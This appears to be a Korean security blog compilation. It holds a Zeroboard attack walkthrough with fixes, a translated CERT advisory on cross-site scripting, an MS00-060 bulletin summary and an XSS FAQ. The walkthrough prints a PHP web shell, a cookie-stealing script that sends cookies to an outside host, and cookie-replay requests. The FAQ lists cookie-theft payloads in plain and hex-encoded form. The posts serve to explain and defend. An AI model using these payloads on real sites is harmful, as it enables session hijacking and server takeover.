    예를 들어 keykind[1]=email 로 지정해두었다면 keyword 에 beist@hanmail.net
    이라고 적으면 된다.

    하지만 이 방법으로는 게시판을 보거나 게시물을 추적할 수 있지만 명령어를 실행
    하지는 못한다. 웹에서 해커의 궁극적인 목표는 명령어 실행이지 않은가?

    이제부터 명령어 실행의 버그들에 대해서 알아보겠다. zeroboard 에서는 admin
    메뉴에서 header 와 footer 에 (게시판의 머리말과 꼬리말 정도이다.) admin 이
    원하는 특정 파일을 지정을 할 수가 있다. 보통은 인사말이나 특정 페이지를
    같이 넣고 싶을때 header 와 footer 를 사용하지만 cracker 는 이 것을 이용하여서
    명령어 실행을 할 수 있다. (header 와 footer 의 파일은 zboard.php 에서
    include 합니다. 즉 zboard.php 파일이 웹에서 읽어질때 head 와 foot 에 include
    한 파일을 뿌려주는 것이다.)

    먼저 제로보드의 특정 자료실에 악의적인 파일을 하나 올린다.

    <?
    system("echo -n " <? passthru($" > imnotj.php");
    system("echo -n "cmd); ?>" >> imnotj.php");

    echo "<font size=5>keke";
    ?>

    <? passthru($cmd); ?>

    이 소스의 기능은 imnotj.php 라는 악의적인 스크립트를 하나 생성한다. imnotj.
    php 에 담기는 내용은 <? passthru($cmd); ?> 가 될 것이다. imnotj.php 의
    기능은 서버에서 해커가 원하는 특정 명령어를 실행할 수 있게끔 된 소스이다.

    자료를 올릴 때 제로보드의 필터링에 걸리면 안될것이다? 제로보드는 php, html, php3
    같은 확장자의 파일을 못 올리게 필터링을 한다. 그래서 위의 코드가 담긴 확장자를
    txt 로 저장하고 서버에 올리자. (txt 를 필터링하는 자료실은 아무데도 없을것이다)
    굳이 txt 확장자가 아닌 zip 이나 jpg 같은 확장자도 상관은 없다.

    만약 test.txt 라는 파일을 올렸다면 서버 상에서 /webdirectory/zboard/data/test.
    txt 라는 곳에 위치할 것이다. (webdirectory 는 가상으로 만들어 낸 것이며 실제
    로는 /home/beist/public_html 정도가 나올 것이다.)

    그리고 admin 메뉴에서 header (혹은 footer) 에 /webdirectory/zboard/data/test.
    txt 라고 지정을 하면 zboard.php 에서는 test.txt 를 include 할 것이다. 위와
    같은 코드를 include 하였으니 웹에서 zboard.php 파일을 열때 imnotj.php 라는
    파일이 생성될 것이다.

    그렇다면 admin 메뉴에는 어떻게 들어갈 것인가? admin 메뉴는 말 그대로 admin 만
    들어갈 수 있다. admin 암호가 없으면 못들어간다는 이야기이다. 그래서 우리는
    admin 암호를 알아내야 한다. 쿠키 스니핑을 이용해야겠다. 하지만 zero
    board 에서는 password 를 암호화해서 저장하기 때문에 쿠키 스니핑으로 암호를
    빼온다고 해도 login 페이지에서 암호를 입력할 수가 없다. (암호화된 문자열을
    crack 하여서 원래의 암호 문자열을 얻을 수도 있겠지만 그 방법은 너무 오래걸리고
    가능성도 희박한 방법이다. 암호가 쉽지 않은한)

    그래서 우리는 쿠키스니핑으로 암호를 빼오고, login 페이지에 암호를 넣는 것이
    아니라 실제 admin 페이지에 직접적으로 Cookie 값을 전달해야 한다.

    어떤 식으로 admin 의 password 를 빼올 수 있는 지 살펴보자.

    자바 스크립트를 써서 쿠키를 빼올 것이다. 자바 스크립트를 게시판이나 쪽지에
    쓰면 되는데 여기에선 쪽지를 이용하는 방법을 사용하겠다. zeroboard 의 쪽지
    기능을 이용하여 admin 에게 쪽지를 보낸다. html 사용에 check 를 하고..

    javascript 로 쿠키를 빼오는 스크립트

    -----------------------------------------------------------------------------

    1 <script language=javascript>
    2 window.open("http://beist.org/test.php?cook="+document.cookie);
    3 </script>
    4 HELLO ADMIN!

    -----------------------------------------------------------------------------

    1 번째 라인은 javascript 를 사용할 것이라고 선언을 하는 것이고 2 번째 라인은
    http://beist.org/test.php 의 스크립트를 웹브라우저의 document.cookie 를 인수로
    여는 것이다. 보통 CGI 는 다음과 같은 방식으로 인수를 전달한다.

    sample CGI script

    echo.php

    <? echo "hello $insu"; ?>

    위의 echo.php 는 $insu 라는 변수를 출력해주는 스크립트이다. 웹브라우저에서
    http://beist.org/echo.php?insu=beist 이런 식으로 페이지를 요청하면 echo.php
    에서는

    hello beist

    라는 문자열을 되돌려준다.

    쿠키를 빼오는 스크립트인 test.php 의 인수의 이름으로 cook 을 주었고 그 값에는
    현재 웹브라우저의 cookie 값이 담겨 있는 document.cookie 를 지정하여 주었다.
    zeroboard 에서 admin 에게 담기는 cookie 는 다음과 같은 값이다.

    zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

    (zetyxboard_password 의 값은 임의로 설정한 값이다.)

    이제 test.php 에서는 넘어온 인수를 처리해야 한다. 예를 들어 넘어온 쿠키값을
    서버에 저장하는 방법등을 사용해야 한다.

    test.php

    <?
    $fp=fopen("/tmp/zerohack", "a++");
    fputs(" 제로보드 쿠키값 $cookn");
    ?>

    간단한 스크립트이다. test.php 는 /tmp/zerohack.txt 을 열어서 넘어온 인수값인
    $cook 을 집어넣는다.

    넘어온 쿠키값이 만약

    zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

    라고 하면 /tmp/zerohack.txt 에는

    제로보드 쿠키값 zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

    이 담기게 될것이다.

    이제 넘어온 쿠키값을 이용하여 admin 페이지에 직접 Cookie 를 보내 접속을 하는
    방법을 알아보자.

    여기서는 telnet 을 이용하겠다. telnet 으로 상대방의 웹서버에 접속을 한다.
    (보통 웹서버는 80 번 포트를 쓴다.)

    1 telnet targetip 80
    2 Trying targetip ...
    3 Connected to targetip.
    4 get http://targetip/zboard/admin_setup.php HTTP/1.0
    5 Cookie: zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

    어쩌고.. 저쩌고..
    .................
    .................

    (위에서 1, 4, 5 번 라인은 직접 입력해야 하는 부분이다.)

    설명을 하자면 1 번 라인은 targetip 의 80 번 포트로 연결을 시도하겠다는
    의미이고 4 번 라인은 target 의 /zboard/admin_setup.php 라는 파일을 열겠다는
    의미다. 그리고 5 번 라인은 zetyxboard_userid 와 zetyxboard_password 를
    쿠키로 보내겠다는 의미다.

    그러면 admin_setup.php 에서는 admin 인증을 할 것이다. 만약 password 가 맞다면
    해커는 무사히 통과를 하고 admin_setup.php 를 볼 수 있을 것이다.

    위에서 설명한 header 나 footer 에 test.txt 라는 파일을 지정하려면 어떻게
    해야하는지 알아보자.

    1 telnet targetip 80
    2 Trying targetip ...
    3 Connected to targetip.
    4 get http://targetip/zboard/admin_setup.php?no=3&exec=view_board&
    exec2=modify_ok&page=1&group_no=1&name=haha&skinname=zero_cyan&
    only_board=1&header_url=/var/www/html/zboard/data/test.txt&use_html=1&
    memo_num=20&cut_length=0&bg_color=white&table_width=95&page_num=10&
    header=<div%20align=center>&footer=</div> HTTP/1.0
    5 Cookie: zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

    4 번 라인만 설명하겠다. admin_setup.php 의 인수로 여러개가 들어갔다.
    주요 인수를 말하자면 exec2 와 no, 그리고 header_url 이다. no 는 게시판의
    번호를 뜻한다. (게시판이 여러개 있을때 각각의 고유번호가 있다.)
    exec2 는 admin_setup.php 페이지를 어떤 mode 로 열 것인지 선택하는 것이다.
    여기서는 modify_ok mode 로 열었다. 가장 중요한 header_url 은 header
    file 로 어떤 것을 지정할 것인지 선택하는 부분이다. 여기서 지정한 header
    file 은 /var/www/html/zboard/data/test.txt 이다. 이제 include 하였으니
    zboard.php 를 열때 test.txt 스크립트가 작동이 되면서 imnotj.php 라는
    파일이 생성이 될 것이다.

    이제 해커는 imnotj.php 파일을 통해서 서버에 특정 명령을 실행시킬 수 있다.

    ex)

    http://targetip/zboard/data/imnotj.php?cmd=whoami
    결과 = nobody

    이상이 zeroboard 에서 쿠키 스니핑, 쿠키 스푸핑, 잘못된 알고리즘을 이용한
    공격 방법이다.

    해결책을 알아보자.

    쿠키 스니핑

    먼저 Cookie Sniffing 에 대한 대책을 알아보자. Cookie Sniffing 은 Cracker
    가 TAG 를 쓸수 있는 환경하에서 이루어진다. Cookie 는 Web Browser 에 담기게
    되는데 Cookie 를 감출 수도 없는 노릇이고 Cookie 사용을 불가피하게 해야하는
    경우의 대처법은 사용자가 TAG를 쓸 수 없도록 해야한다.

    거의 모든 TAG 의 시작은 < 로부터 시작한다. 그래서 <를 없애거나 < 문자로
    치환시키는 방법이 좋다.

    eregi_replace("<", "<", $comment);

    이런 식으로 $comment 의 내용중에 < 가 존재한다면 < 로 바꾸게 끔 만들어
    주었다.

    쿠키 스푸핑

    Cookie Spoofing 에 대한 대책을 알아보자. Cracker 가 Admin 의 Cookie를 가져와서
    Cookie Spoofing을 이용해 Admin Menu 에 접근하게 된다. 첫 번째로 Cookie를
    도둑맞지 않기 위해 Cookie Sniffing을 막는 것이 중요하지만 Cookie를 도둑맞았을때의
    경우도 대비해야 할 것이다.

    필자는 이에 대한 대비로 Cookie 만을 쓰는 것이 아니라 Cookie + Session 의 조합을
    사용하길 바란다. 하지만 Cookie 만을 쓰려고 할때의 필자가 생각하는 대응책을 설명
    하겠다.

    위의 Zeroboard 의 경우에서 보면 현재 접속되어 있는지 확인하는 부분이 있다.
    now_table 에 해당하는 ID 가 있으면 통과하는 것이고 없으면 통과를 못하는 것인데
    table 의 구조를 약간 변형하여 IP 도 담는 것이다.

    예를 들어 $userip 라는 변수를 선언하고 이 변수는 사용자로부터 입력을 받지
    않고 PHP 환경변수인 $REMOTE_ADDR을 이용하는 것이다. 이렇게 하면 cracker 가
    admin_setup.php?userip=속일IP 이런식으로 접근을 해와도 서버에서는 $REMOTE_ADDR
    로 체크를 하기 때문에 피할 수 없게 된다.

    여기서는 간단하게 소스를 만들어보겠다.

    $userip=$REMOTE_ADDR;
    $check=mysql_fetch_array(mysql_query("select count(*) from $now_table where
    user_id='$cookie_userid' and userip='$userip'"));

    하지만 이 방법에도 약간의 취약성은 존재한다. Admin 이 NAT 같은 환경하에서
    접근하였을때 그 안에 있는 computer 들도 외부로 나갈땐 같은 IP 이기 때문에 Cracker
    가 NAT 내부에 접근하였을 경우에 위의 인증을 회피할수도 있을 것이다.

    그렇지만 위의 방법으로 체크를 한다면 Cracker 가 Hacking 하는데 훨씬 더 어려움과
    수고를 하게 할 수 있다.

    잘못된 알고리즘

    여기서 말하는 잘못된 알고리즘은 lib.php에서 member_info 함수이다. $member 로
    return 할때 없는 값일 경우 0 이 되어 trace.php 같은 file을 실행 할 수 있는 것인데
    이에 대한 해결법으로는 now_table에서 해결하는 방법이 더 좋지만 간단하게 하려면
    다음과 같이 하자.

    $member=mysql_fetch_array(mysql_query("select * from $member_table where
    user_id='$cookie_userid' and password='$cookie_password'"));
    if(!$member)
    {
    echo "죄송합니다. 당신의 Cookie 에 맞는 Data 가 없군요.“;
    exit;
    }

    Web CGI 든 일반 어플리케이션 프로그램이든 마찬가지이지만 잘못된 알고리즘
    하나로 인해 Server 에 치명적인 Security Hole을 만들 수 있다는 것을 기억하자.

    출처 : http://ttongfly.net/zbxe/?document_srl=42664&mid=webhack&listStyle=&cpage=
    Posted by 1010
    81.웹취약점&해결방안2009. 10. 21. 11:38
    반응형

    **************************************************************************************************
      제목 : Cross-Site Scripting Vulnerabilities
      원문 : http://www.cert.org/archive/pdf/cross_site_scripting.pdf
      저자 : Jason Rafail, CERT® Coordination Center
      번역 : 매맞는아이 (sn1995ar at hotmail.com - 잘못된 곳 있으면 댓글 바람)
      *****************************************************************************************************/

     
    당신은 언젠가 web site의 주소를 잘못 쳐서 “Error - page name could not be found” ,
    “The page you requested: page name does not exist” 같은 메세지를 본 적이 있을 것이다.
    그리고 거기서 단 1초도 머뭇거리지 않고 다른 곳으로 갈 것이다.
    (당신이 주소를 정확히 쳤거나 다른 사이트로 갔더라도 말이다.)
    그런일은 종종 일어난다. 죽은 link도 많고.. 잘못 연결된 link도 많기 때문이다.
    하지만, 당신이 위의 두 가지 경우처럼 에러메시지를 보게 된다면..
    당신은 보안 취약점을 목격하는 것이다.

    당신이 다음의 유효한 URL로 접속했다고 치자 :
            http://www.example.com/FILENAME.html

    만약  "FILENAME.html"이 존재하지 않는다면, web site는 다음과 같은 에러 메시지를 보여 줄 것이다.

            <HTML> 404 page does not exist: FILENAME.html
             ....
            </HTML>

    "FILENAME.html"은 당신이 입력한 것이라는 걸 주목해라.
    web site는 당신의 브라우져를 통해 돌려주는 page안에 그것을 포함하고 있다.

    이것은 해롭지 않을지 모른다. 하지만 인기있는 경매 사이트를 둘러보고 있다고 생각하자.
    ('auction.example.com'이라고 하자.)
    당신은 누군가 만들어 논 경매를 리스트를 보고 있다. 그리고 똑같은 사람이 팔고 있는 아이템을 좀 더 보고 싶다고 치자.
    (그 사람을  "bad guy"라고 가정하자. 그리고 그를 "BG12345"라고 부르자.)
    당신은 다른 site의 "BG12345"의 web site link를 클릭할 것이다. 그리고 그가 경매하는 목록을 둘러보고 있다.
    그리곤 맘에 드는 page의 link를 클릭 할 것이다. 그럼 'auction.example.com'에서는 그 아이템을 보여 줄 것이다.
    조금 더 밑에는 이름과 비밀번호를 입력하는 창이 있다.
    당신은 모든 정보를 입력하고 "수락" 버튼을 누를 것이다.
    모든 것이 잘 된 것처럼 보인다. 하지만 실제로 당신이 써 넣은 그 정보는 "BG12345"에게 전달된다.
    어떻게 이런 일이 벌어질 수 있을까?
    그 이유는 'auction.example.com'에 "cross-site scripting(CSS)" 라 불리는 취약점이 있기 때문이다.

    CSS 취약점은 유효한 사용자의 입력이 client의 web-browser에 돌려주기 전의 site의 fauilure가 원인이 된다.
    CSS는 합밥적인 web server에서 침입자 악의 있는 script나 HTML을 공격할 browser로 page를 보내는 것이다.
    악의있는 script는 합법적인 web server에서 합법적인 script의 취급을 받으며 실행된다.
    위에서 본 두 가지 에러 메세지는 그런 상황의 예가 된다.

    만약 page name을 입력하는 대신 HTML이나 script tag를 입력하게 된다면..
    server는 그 명령을 당신의 bowser에 보여 줄 것이다.
    당신의 brower는  'auction.example.com'의 HTML이나 script tag를 사실이라 생각할 것이다.
    그리고 script를 실행 할 것이다.  모든 것이 정상으로 보일 것이다.

    "BG12345" 역시 당신을 속이기 위해 똑같은 방법을 사용했다.
    "BG12345"의 경매 site link를 클릭했다면 그 link는 공격자가 꾸민 page로 간다.
    그 link가 경매 site를 정확히 흉내냈다면 아래의 예와 같이 보일 것이다.
    하지만 "수락" 버튼을 눌렀다면 당신이 입력한 정보들이 "BG12345"로 가게 된다.
    그럼 "BG12345"는 당신의 계정에 접속이 가능하고 정보도 바꿀 수 있다.
    최악의 상황에는 신용카드 정보도 볼 수 있다.

    과연 "BG12345"는 어떻게 했단 말인가?
    "BG12345"의 web site는 밑에와 같은 'auction.example.com'의 link를 제공한다.

    <A HREF="http://auction.example.com/<script>alert('hello')</script>">Click Here</a>

    "FILENAME.html"은 'auction.example.com'에서 다음과 같이 인식된다.

    <script>alert('hello')</script>

    그럼 'auction.example.com'은 일반적인 routine으로 생각하고 다음과 같은 error page를 보내준다.

    <HTML> 404 page not found: <script>alert('hello')</script>

    ....
    </HTML>

    결과적으로 "BG12345"는 'auction.example.com'에서 보내주는 page에 JabaScript 프로그램을 "주입'했다.
    JabaScript는 'auction.example.com'에 의해 실행된다. 그리고 event를 발생할 것이다.
    그리도 "BG12345"가  link에 넣은 script의 효력때문에 "BG12345"와의 소통도 계속된다.
    (이것이 CSS 취약점이 web page를 통해 공격되어질 수 있는 이유이다.)
    비슷한 문제들이 많이 있다. 'bank.example.com'도 똑같다.


    그럼 어떻게 해야 될까?

    * 가장 좋은 방법은 필요없는 scripting은 불가능하게 하는 것이다.
       하지만 그것은 악의 있는 HTML의 실행을 막지는 못한다.
       신뢰하지 못하는 site나 알려지지 않은 sourc의 link로 부터 접속하는 것보다는
       직접 다이렉트로 접속하는 것이 좋다.
       예를 들어..
       이메일로 온  당신의 은행 site의 link를 신뢰하는 것은 좋지 않다.
       은행 site를 이용하려면 직접 site에 접속해라.
       그리고 개인 정보를 원한다면 항상 조심해라..
      
    * webmaster 또한 도울 수 있다.
       그들은 사용자의 입력이 page로 요청되지 않도록 할 수 있다.
       그리고 사용자에게 scripting이 되지 않게 할 수 있다.
      
    * 다른 방법은 신뢰하지 못하는 script들이 자동으로 실행하지 못하도록 “signed scripting”을 사용하는 것이다.
       하지만 이런 방법은 Internet 표준의 변화를 요구한다.
       그런 변화는 "World Wide Web Consortium (www.w3c.org)"이나..
       "Internet Engineering Task Force (www.ietf.org)"에서 고려될 사항이다.
      
    * 만약 CSS가 가능한 곳을 보게 된다면 site 관리자나 CERT에 알려주기 바란다.


    유감스럽게도 문제는 종종 자주 사용하는 곳에서 발생한다.
    scripting을 가능하게 한 상태에서 인터넷을 돌아다닌다면 개인정보를 거의 보호하기 힘들다.
    CSS는 그냥 지나치기 쉽다. 하지만 당신의 비밀번호나 신용정보가 새어나가는 큰 손해를 볼 수 있다.

    ____________________________________________________________________________
    Appendix: References and additional information

    http://www.cert.org/advisories/CA-2000-02.html
    http://www.cert.org/tech_tips/malicious_code_mitigation.html
    http://www.kb.cert.org/vuls/id/672683
    http://www.kb.cert.org/vuls/id/642239
    http://www.kb.cert.org/vuls/id/560659

    “CERT” and “CERT Coordination Center” are registered in the U.S. Patent and Trademark Office.
    Copyright 2001 Carnegie Mellon University



    *****************************************
    나온지 꽤 되서 그런지 몰라도..
    Apache, IIS 에서 몇군데 테스트 해보았는데 하나도 안 먹혔다..;;
    아마 거의 다 패치 ㄷㅚㅆ을 것이다.

    익스플로어의 URL parsing 취약점과 접근 부분에서 비슷한 부분도 있고..
    흥미로운 문서였던 것 같다..

    Posted by 1010
    81.웹취약점&해결방안2009. 10. 21. 11:36
    반응형
    Microsoft Security Bulletin MS00-060
    "IIS CSS (Cross-Site Scripting)" 취약점에 대한 패치 제공
    요약

      2000년 8월 25일 Microsoft는 Microsoft Internet Information Server의 취약점을 제거하는 패치 제공을 알리기 위해 이 보안 공지 사항의 최초 버전을 발표했습니다. 그러나, 이후에 추가 변종 취약점이 확인되었으며 업데이트된 패치 제공을 알리기 위해 2000년 11월 2일 보안 공지 사항이 업데이트 되었습니다.

      새로운 취약점의 범위는 최초로 보고됐던 것과 정확히 일치하며 업데이트된 패치는 알려진 모든 변종 취약점을 제거합니다. 따라서 최초 버전의 패치를 적용한 고객은 새로운 패치 버전을 적용해야 합니다.

      - 영향 받는 소프트웨어:
      • Microsoft Internet Information Server 4.0
      • Microsoft Internet Information Server 5.0


      기술 세부 사항
      자주 발생하는 질문 사항


    패치 다운로드



    기타 정보:

      감사의 말: Microsoft는 고객 보호를 위해 이 정보를 알려주고 협조해 주신 Defcom (www.defcom.com) 의 Peter Grundl에게 감사를 드립니다. 지원: 이 패치는 모든 지원을 받을 수 있습니다. Microsoft Product Support Services와 관련된 정보는 http://support.microsoft.com/support/contact/default.asp 에서 이용하실 수 있습니다. 보안 관련 자원: Microsoft TechNet Security 웹 사이트는 Microsoft 제품군의 보안에 관한 추가 정보를 제공합니다. 알림:
      Microsoft 지식 기반에서 제공되는 정보는 어떤 유형의 보증 사항이 없이 제공됩니다. Microsoft사는 특정 목적을 위한 시판 가능성 및 적합성에 관한 보증을 포함해 표명된 또는 암시된 형태로 모든 보증 사항을 알려줍니다. Microsoft사 또는 관련 공급 업체는 손상에 관해 충고를 한 경우라도, 어떠한 형태의 직간접적인, 우발적인, 필연적인 사업상 이익의 손실 또는 특수한 손해에 대해서도 책임을 지지 않습니다.


    최종 수정일 : 2005년 8월 18일
    Posted by 1010
    81.웹취약점&해결방안2009. 10. 21. 11:33
    반응형
    Cross Site Scripting(XSS)취약점 -FAQ
    원문: http://www.cgisecurity.com/articles/xss-faq.txt
    요약 정리: vangelis(wowcode of http://www.wowhacker.org)
    도입 오늘날 웹사이트는 사용자들을 더 즐겁게 하기 위해 동적인 컨텐츠를 포함하고 있어 전보다 더 복잡해졌다. 동적 컨텐츠는 기본 설정이나 필요에 따라 사용자에게 다른 출력물을 전달할 수 있는 웹 어플리케이션의 사용을 통해 성취된다. 동적 웹사이트는 정적 사이트가 가지고 있지 않은 “Cross Site Scripting”(또는 XSS) 문제를 가지고 있다. 이 문서는 이 문제에 대해 좀더 체계적인 설명을 하고자 하는 의도에서 쓰여졌다.
    "Cross Site Scripting이란 무엇인가?" Cross site scripting (XSS로도 알려짐)은 웹 어플리케이션이 어떤 사용자로부터 악의적인 데이터를 수집할 때 발생한다. 그 데이터는 보통 하이퍼링크의 형태로 수집되는데, 그 하이퍼링크는 그 안에 악의적인 내용을 포함하고 있다. 사용자는 다른 웹사이트, 웹보드, 이메일 등에 포함된 링크를 클릭할 것이다. 보통 공격자는 hex 또는 다른 방법으로 그 사이트에 대한 링크의 악의적인 부분을 인코딩할 것이며, 그래서 그 리퀘스트는 사용자에게 덜 의심스럽게 보인다. 데이터가 웹 어플리케이션에 의해 수집된 이후 그것은 그 사용자를 위해 그것에 원래 보내진 악의적인 데이터를 포함한 페이지를 출력한다. 하지만 그것을 그 웹사이트로부터 나온 유효한 내용인 것처럼 보이도록 만든다.
    "XSS와 CSS는 무엇을 의미하는가?" 종종 사람들은 Cross Site Scripting을 CSS로 지칭한다. Cascading Style Sheets(CSS)와 cross site scripting 사이에는 많은 혼동이 있었다. 어떤 보안 전문가들은 Cross Site Scripting을 XSS로 지칭하기도 한다.
    "Cross Site Scripting의 위협은 무엇인가?"
    종종 공격자는 사용자를 골려주기 위해 또는 그들로부터 데이터를 수집하기 위해 JavaScript, VBScript, ActiveX, HTML, 또는 Flash를 투입한다. 계정 하이재킹(account hijacking)으로부터 공격자는 사용자의 설정을 변경하거나, 쿠키를 훔치거나 잘못된 광고가 가능하다. 새로운 악의적인 XSS 공격 방법들이 발견되고 있다. 아래에 링크된 Brett Moore가 올린 글은 특정 호스트들에 대한 “서비스 거부 공격”이나 “자동 공격”에 대한 좋은 설명을 보여준다. http://archives.neohapsis.com/archives/vuln-dev/2002-q1/0311.html
    "Cross Site Scripting 공격의 몇 가지 예" 많은 XSS 취약점을 가진 제품의 예가 PHPnuke이다. 이 제품은 종종 그 유명세 때문에 XSS 취약점을 점검하기 위한 목표로 공격자들에게 그 대상이 되기도 한다. 다음은 이 PHPnuke의 취약점에 대한 링크이다.
    http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txt "XSS 쿠키를 훔치는 방법은?" 특정 웹 어플리케이션에 따라 공격 방법이 조정될 필요가 있다. 다음은 간단한 한 예일뿐이다.
    1단계: 목표 설정
    어떤 웹사이트의 웹 어플리케이션에서 XSS 취약점을 발견한 후 쿠키를 생성하는지 확인한다. 만약 웹 사이트의 어떤 부분이 쿠키를 사용한다면 사용자로부터 그 쿠키를 훔치는 것이 가능하다. 2단계: 테스트 XSS 취약점은 어떻게 공략되는가에 따라 다르므로 출력물을 믿을 수 있도록 만들기 위해 테스트가 실행될 필요가 있다. 스크립트에 코드를 삽입함으로써 그것의 출력물은 변경될 수 잇고, 그 페이지는 깨진 상태로 나타날 수 있다. (마지막 결과는 중요하며, 공격자는 그 페이지가 정상적인 것으로 보이도록 코드를 손볼 필요가 있다.) 다음으로 취약한 사이트의 부
    분을 가리키는 URL에 자바스크립트(또는 다른 클라이언트 쪽의 스크립팅 언어)를 투입할 필요가 있다. 아래에 제시된 것은 XSS 취약점을 테스트할 때 사용되는 것들이다. 각각을 클릭했을 때 사용자의 쿠키를 www.cgisecurity.com/cgi-bin/cookie.cgi에 보내고, 그것을 보여줄 것이다. 만약 그 쿠키를 볼 수 있다면 사용자의 계정에 대한 세션 하이재킹도 가능할 것이다.
    다음은 쿠키를 훔치는 Javascript 예이다. ASCII 용법: http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'%20+document.cookie</script> Hex 용법: http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e 1. "><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e 2. <script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%
    72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e 3. ><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e 이것들은 악의적인 자바스크립트의 예들이다. 이 스크립트는 사용자의 쿠키를 수집하고, 그런 다음 질의를 받을 경우 cgisecurity.com 사이트에 리퀘스트를 보낸다. 그러면 cgisecurity.com에 있는 스크립트는 각각의 쿠키와 리퀘스트를 기록할 것이다. 간단히 말하면 다음과 같다.
    My cookie = user=zeno; id=021 My script = www.cgisecurity.com/cgi-bin/cookie.cgi 이것은 다음과 같은 리퀘스트를 사이트에 보낸다.
    GET /cgi-bin/cookie.cgi?user=zeno;%20id=021 (%20은 한 공간에 대한 hex 인코딩이다.) 이것은 사용자의 쿠키를 획득할 수 있는 원시적이지만 효과적인 방법이다. 이 스크립트의 사용에 대한 로그는 www.cgisecurity.com/articles/cookie-theft.log에서 찾을 수 있다. 3 단계: XSS 실행 실행을 위해 조작된 url, 이메일, 과련 소프트웨어를 이용한다. 이메일이나 aim, 또는 다른 수단으로 통해 사용자에게 HEX로 인코딩한 URL을 제공해야함을 기억하자. 이 코드는 분명 의심스럽게 보이지만 많은 hex 문자로 되어 있는 것은 어떤 사람들을 바보로 만들 수 있다. 위에서 제시된 예에서는 단지 cookie.cgi로 사용자를 포워딩했을뿐이다. 시간이 있는 공격자라면 몇가지 리다이렉트와 XSS 조합을 통해 사용자의 쿠키를 훔칠 수 있으며, 그것을 쿠키를 훔쳤다는 것을 들키지 않고 웹사이
    트로 리턴할 수 있다.
    몇몇 이메일 프로그램은 메시지에 자바스크립트가 첨부되면메시지를 열자말자 그 스크립트를 실행할 수도 있다. Hotmail 같은 대규모 사이트는 자바스크립트를 첨부하도록 허용하고 있으나 쿠키를 훔치는 것을 막기 위해 특별한 필터링을 한다.
    4단계: 이 데이터로 무엇을 할 것인가 사용자가 XSS 취약점을 실행하도록 하면 데이터가 수집되어 공격자의 CGI로 보내진다. 이제 쿠키를 가지게 되면 계정 하이재킹이 가능한지 알아보기 위해 Websleuth와 같은 툴을 사용할 수 있다. 좀더 세부적인 것은 http://www.idefense.com/XSS.html을 참고해라. "업체의 방어 방법은?" 이것에 대한 대답은 간단하다. 사용자가 입력한 것을 신뢰하지 말고 항상 메타 문자들을 필터링해라. 이것은 대부분의 XSS 공격을 막을 수 있다. < 와 >를 &lt;와 &gt;로 전환하는 것도 좋은 생각이다. 이것으로는 충분치 않기 때문에 &#40; 그리고 &#41;로 변환시킴으로써 ( 와 )를 필터링하는 것도 제안한다.
    "일반 사용자의 방어 방법은?" 자신을 보호하는 가장 쉬운 방법은 메인 웹사이트에 있는 링크를 따라가는 것이다. 특정 사이트에 링크된 것을 누르는 대신 검색엔진을 이용해 그 사이트를 찾고, 그런 다음 그 사이트로 이동하는 것이 좋을 것이다. 또한 어떤 경우에 XSS은 이메일이나 첨부 파일을 열어었을 때 자동으로 실행되는 경우도 있으므로, 모르는 사람으로부터 그런 메일을 받았을 경우 신뢰하지 않은 것이 좋다. 또 다른 방어 방법은 사용하고 있는 브라우저의 설정 부분에서 자바스크립트를 활성화시키지 않는 것이다. IE를 사용한다면 보안 설정을 높게 잡으면 된다.
    "어떻게 XSS 취약점이 일반적인가?" Cross site scripting 취약점은 해커들 사이에서 대규모 사이트에서 찾기 쉬운 취약점으로서 인기를 얻고 있다. FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, 그리고 Newsbytes등의 사이트는 하나 내지 그 이상의 XSS 취약점을 가지고 있다. 매달 대략 10-25개 정도의 XSS 취약점이 상용 제품에서 발견되고 있으며, 그 위험성을 설명하는 권고문들이 발표되고 있다.
